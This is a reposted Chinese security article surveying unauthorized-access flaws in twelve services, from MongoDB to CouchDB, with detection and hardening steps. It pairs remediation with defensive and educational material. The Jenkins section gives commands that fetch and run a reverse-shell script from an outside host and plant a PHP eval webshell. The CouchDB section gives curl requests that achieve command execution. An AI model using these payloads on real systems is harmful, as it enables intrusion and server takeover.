未授權訪問漏洞總結


未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。常見的未授權訪問漏洞有以下這些:

一、MongoDB 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:開啟 MongoDB 服務時若不添加任何參數默認是沒有權限驗證的,而且可以遠程訪問數據庫登錄的用戶無需密碼。即可通過默認端口 27017 對數據庫進行增、刪、改、查等高危操作。剛安裝完畢時MongoDB 都默認有一個 admin 數據庫,此時 admin 數據庫為空沒有記錄權限相關的信息。當 admin.system.users 一個用戶都沒有時即使 MongoDB 啟動時添加了 –auth 參數還是可以做任何操作不管是否以 –auth 參數啟動直到在 admin.system.users 中添加了一個用戶。

(2) 風險等級——高風險。

漏洞利用

當掃描發現目標主機開放了 27017 端口,經探測(可以用弱口令爆破工具進行爆破)發現該主機存在MongoDB未授權訪問漏洞。

用MongoDB Compass 工具直接連接即可。

修復方法

為 MongoDB 添加認證

  •  MongoDB 啟動時添加 -auth 參數。
  • 給 MongoDB 添加用戶
use admin     #使用 admin 庫 db.addUser“用戶名” “密碼”# 添加用戶名、密碼 db.auth“用戶名”,“密碼”# 驗證是否添加成功返回 1 說明成功。

二、Redis 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:Redis 是一個高性能的 Key – Value 數據庫。Redis 的出現在很大程度上彌補了 Memcached 這類 Key/Value 存儲的不足,在部分場合可以對關系數據庫起到很好的補充作用。Redis 默認情況下會綁定在 0.0.0.0:6379,這樣會將 Redis 服務暴露到公網上。在沒有開啟認證的情況下會導致任意用戶在可以訪問目標服務器的情況下未經授權就訪問到 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法成功地在 Redis 服務器上寫入公鑰進而可以使用對應私鑰直接登錄目標服務器。

(2) 風險等級——高風險。

參考文章: Redis未授權訪問漏洞

三、Memcached 未授權訪問漏洞CVE-2013-7239

漏洞信息

(1) 漏洞簡述:Memcached 是一套分布式高速緩存系統。它以 Key – Value 的形式將數據存儲在內存中。這些數據通常是會被頻繁地應用、讀取的。正因為內存中數據的讀取速度遠遠大於硬盤的讀取速度所以可以用來加速應用的訪問。由於 Memcached 的安全設計缺陷,客戶端連接 Memcached 服務器后無需認證就可讀取、修改服務器緩存內容。默認端口:11211

(2) 風險等級——高風險。

漏洞利用

修復方法 

(1) bind 指定監聽 IP。如果 Memcached 沒有在外網開放的必要可在 Memcached 啟動時指定綁定的 IP 地址為 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(2) 最小化權限運行。使用普通權限賬號運行以下指定 memcached 用戶運行 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(3) 修改默認端口。修改默認 11211 監聽端口為 11222 端口 

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

(4) 備份數據。為避免數據丟失升級前應做好備份或建立硬盤快照。

四、JBOSS 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:JBOSS 企業應用平台EAP是 J2EE 應用的中間件平台。默認情況下訪問 http://ip:8080/jmx-console 就可以瀏覽 jboss 的部署管理的信息不需要輸入用戶名和密碼,可以直接部署上傳木馬有安全隱患。

(2) 風險等級——高風險。

(4) 影響范圍JBOSS 全版本。

檢測方法

先用 nmap 掃描查看端口開放情況看是否開放 JBOSS 端口。再使用漏洞測試工具測試 jmx 組件存在情況通過訪問 http://ip:jboss端口/ 看是否能進入 jmx-console 和 web-console 。 

修復方法

 JMX Console 安全配置

① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面這段 xml 文本的注釋。

② 與 jboss-web.xml 同級的目錄下還有一個文件 web.xml找到下面這段 xml 文本把 GET 和 POST 兩行注釋掉同時 security-constraint 整個部分取消注釋, 不然存在head頭繞過。 

③ %JBOSS_HOME%\server\default\conf\props\jbossws-users.properties 中刪除原始的 admin/admin添加新的用戶名密碼。 

④ %JBOSS_HOME%\server\default\conf\props\jbossws-roles.properties 中定義新用戶名所屬角色。該文件定義的格式為用戶名 = 角色多個角色以 “,” 隔開該文件默認為 admin 用戶定義了 JBossAdmin 和 HttpInvoker 這兩個角色。 

# A sample roles.properties file foruse with the UsersRolesLoginModule kermit = JBossAdmin,HttpInvoker

五、VNC 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:VNC 是虛擬網絡控制台Virtual Network Console的英文縮寫。它是一款優秀的遠程控制工具軟件由美國電話電報公司AT&T的歐洲研究實驗室開發。VNC是基於 UNXI 和 Linux 的免費開源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認端口號為 59005901。VNC 未授權訪問漏洞如被利用可能造成惡意用戶直接控制受控主機危害相當嚴重。

(2) 風險等級——高風險。

(4) 影響范圍VNC 全版本。

檢測方法

使用 metasploit 進行批量檢測,使用檢測模塊 auxiliary/scanner/vnc/vnx_none_auth。

修復方法

(1) 配置 VNC 客戶端登錄口令認證並配置符合密碼強度要求的密碼。

(2) 以最小權限的普通用戶身份運行操作系統。

六、Docker 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:Docker 是一個開源的引擎可以輕松地為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署包括 VMs、bare metal、OpenStack 集群和其他的基礎應用平台Docker 存在問題的版本分別為 1.3 和 1.6因為權限控制等問題導致可以脫離容器拿到宿主機權限。默認端口:2375

(2) 風險等級——高風險。

(4) 影響范圍Docker 1.3、Docker 1.6。

檢測方法

先用 nmap 掃描查看端口開放情況。2375 為 docker 端口,如果存在漏洞會有以下情況url 輸入 ip:2375/version 就會列出基本信息,也可以執行目標服務器容器命令如 container、image 等。 

修復方法

(1) 使用 TLS 認證。

(2) 網絡訪問控制Network Access Control

七、ZooKeeper 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:ZooKeeper 是一個分布式的開放源碼的分布式應用程序協調服務是 Google 的 Chubby 一個開源的實現是 Hadoop 和 Hbase 的重要組件。它是一個為分布式應用提供一致性服務的軟件提供的功能包括配置維護、域名服務、分布式同步、組服務等。ZooKeeper 默認開啟在 2181 端口在未進行任何訪問控制的情況下攻擊者可通過執行 envi 命令獲得系統大量的敏感信息包括系統名稱Java 環境。這將導致任意用戶在網絡可達的情況下進行為未授權訪問並讀取數據甚至 kill 服務。

(2) 風險等級——高風險。

(4) 影響范圍Zookeeper 全版本。

漏洞利用

通過 nmap 掃描開放了 2181 端口的主機。

運行腳本通過 socket 連接 2181 端口並發送 envi 命令若服務端返回的數據中包含 ZooKeeper 的服務運行環境信息即可證明存在未授權訪問。

檢測腳本

# coding=utf-8 import socket import sys def check(ip, port, timeout, cmd): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send(cmd) data = s.recv(1024) s.close() print data except: pass def main(): if len(sys.argv) < 3: exit() ip = sys.argv[1] cmd = sys.argv[2] # envi # dump # reqs # ruok # stat check(ip, 2181, 3, cmd) if __name__ == '__main__': main()

或者可以直接手動

echo envi|nc  11.11.177.220 2181 #查看目標主機環境,這個在kali下可直接執行 ./zkCli.sh -server 11.11.177.220 2181 #連接目標主機Zookeeper服務,這個需要先安裝zookeeper,然后到其bin目錄下執行

 

修復方法 

(1) 修改 ZooKeeper 默認端口,采用其他端口服務,配置服務來源地址限制策略。

(2) 增加 ZooKeeper 的認證配置。

八、Rsync 未授權訪問漏洞

漏洞信息

(1) 漏洞簡述:Rsync(remote synchronize)是一個遠程數據同步工具,可通過 LAN/WAN 快速同步多台主機間的文件,也可以同步本地硬盤中的不同目錄。Rsync 默認允許匿名訪問,如果在配置文件中沒有相關的用戶認證以及文件授權,就會觸發隱患。Rsync 的默認端口為 837

(2) 風險等級——高風險。

(4) 影響范圍:Rsync 全版本。

漏洞利用

用nmap掃描發現開放873端口

參考:rsync 未授權訪問漏洞

修復方法

(1) 隱藏 module 信息:修改配置文件 list =false。

(2) 權限控制:不需要寫入權限的 module 的設置為只讀 Read only = true。

(3) 網絡訪問控制:使用安全組策略或白名單限制,只允許必要訪問的主機訪問:hosts allow = 123.123.123.123。

(4) 賬戶認證:只允許指定的用戶利用指定的密碼使用 rsync 服務。

(5) 數據加密傳輸:Rsync 默認沒有直接支持加密傳輸,如果需要 Rsync 同步重要性很高的數據,可以使用 ssh。

九:Hadoop未授權訪問漏洞

漏洞信息

由於服務器直接在開放了Hadoop機器HDFS的 50070 web端口及部分默認服務端口,黑客可以通過命令行操作多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操作,產生極大的危害。

漏洞利用

主要HDFS和MapReduce的WebUI對應的服務端口。

Hadoop-1

其中比較重要的是DataNode 默認端口50075開放的話,攻擊者可以通過hdsf提供的restful api對hdfs存儲數據進行操作。

restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

漏洞加固

1、如無必要,關閉Hadoop Web管理頁面

2、開啟身份驗證,防止未經授權用戶訪問

3、設置“安全組”訪問控制策略,將Hadoop默認開放的多個端口對公網全部禁止或限制可信任的IP地址才能訪問包括50070以及WebUI等相關端口,詳細端口列表如下:

a)HDFS

  • NameNode 默認端口 50070
  • DataNode 默認端口 50075
  • httpfs 默認端口14000
  • journalnode 默認端口 8480

b)YARN(JobTracker)

  • ResourceManager 默認端口8088
  • JobTracker 默認端口 50030
  • TaskTracker 默認端口 50060

c)Hue 默認端口 8080

d)YARN(JobTracker)

  • master 默認端口 60010
  • regionserver 默認端口60030

e)hive-server2 默認端口 10000

f)spark-jdbcserver 默認端口 10003

十:Jenkins未授權訪問

漏洞描述

默認情況下 Jenkins 面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。

漏洞利用

1、Jenkins未授權訪問可執行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
jenkins-1

 

println "ifconfig -a".execute().text 執行一些系統命令
jenkins-2
直接wget下載back.py反彈shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py並不需要root權限
jenkins-3

不想反彈試試Terminal Plugin
jenkins-4

Jenkins未授權訪問寫shell

jenskins是java web項目,我們用java的File類寫文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一個內容為1,2,3(每一行)的1.txt到c盤的temp文件夾,運行如下命令println “powershell dir c:\temp”.execute().text如果寫成功,那么secpulse.txt就會在返回結果中!

wget寫webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數-n 不要在最后自動換行

jenkins-5
Result: 0 表示成功寫入
Result: 1 表示目錄不存在或者權限不足 寫入失敗
Result: 2 表示構造有異常 寫入失敗

具體其他詳細利用方法參考:知其一不知其二之Jenkins Hacking

漏洞加固

  • 禁止把Jenkins直接暴露在公網
  • 添加認證,設置強密碼復雜度及賬號鎖定。

十一:Elasticsearch未授權訪問

漏洞描述

Elasticsearch是一款java編寫的企業級搜索服務。越來越多的公司使用ELK作為日志分析,啟動此服務默認會開放9200端口,可被非法操作數據

漏洞利用

漏洞檢測:默認端口 9200


相當於一個API,任何人訪問這個地址,就可以調用api,進行數據的增刪改操作。

  • http://x.x.x.x:9200/_nodes
  • http://x.x.x.x:9200/_river

 

漏洞加固

  • 防火牆上設置禁止外網訪問9200端口。
  • 使用Nginx搭建反向代理,通過配置Nginx實現對Elasticsearch的認證
  • 限制IP訪問,綁定固定IP
  • 在config/elasticsearch.yml中為9200端口設置認證:

http.basic.enabled true #開關,開啟會接管全部HTTP連接
http.basic.user "admin" #賬號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

十二:CouchDB未授權訪問

 漏洞描述

CouchDB默認在 5984 端口開放Restful的API接口,用於數據庫的管理功能。其HTTP Server默認開啟時沒有進行驗證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導致未授權訪問。任何連接到服務器端口上的人,都可以調用相關API對服務器上的數據進行任意的增刪改查,其中通過API修改local.ini配置文件,可進一步導致執行任意系統命令,獲取服務器權限!

漏洞利用

couchdb-7

新增query_server配置,這里執行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個臨時表,插入一條記錄

couchdb-1

curl -X PUT 'http://x.x.x.x:5984/vultest'

couchdb-2
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_server處理數據

couchdb-3

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

couchdb-4

當然你也可以直接執行其他命令,下載個其他什么的

couchdb-5 couchdb-6

漏洞加固

1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機才能訪問CouchDB。

2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼

 

原文鏈接:https://www.cnblogs.com/csnd/p/11807650.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM